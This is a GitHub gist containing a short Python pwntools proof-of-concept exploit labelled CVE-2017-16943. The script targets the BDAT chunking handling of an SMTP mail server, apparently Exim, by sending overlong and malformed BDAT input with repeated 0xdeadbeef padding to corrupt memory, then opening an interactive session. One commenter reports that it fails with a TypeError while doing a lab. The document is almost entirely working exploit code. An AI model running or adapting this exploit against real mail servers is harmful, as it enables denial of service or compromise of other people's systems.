Skip to content

Instantly share code, notes, and snippets.

@andreafortuna
Last active March 3, 2021 23:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save andreafortuna/96a2105823337f7b453ebd0484a3d5f7 to your computer and use it in GitHub Desktop.
Save andreafortuna/96a2105823337f7b453ebd0484a3d5f7 to your computer and use it in GitHub Desktop.
CVE-2017-16943.py
# pip install pwntools
from pwn import *
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
#raw_input()
r.sendline('a'*0x1100+'\x7f')
#raw_input()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')
r.interactive()
exit()
@mythofechelon
Copy link

I'm doing a lab that I think involves this but line #19 consistently fails with error TypeError: can't multiply sequence by non-int of type 'float'?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment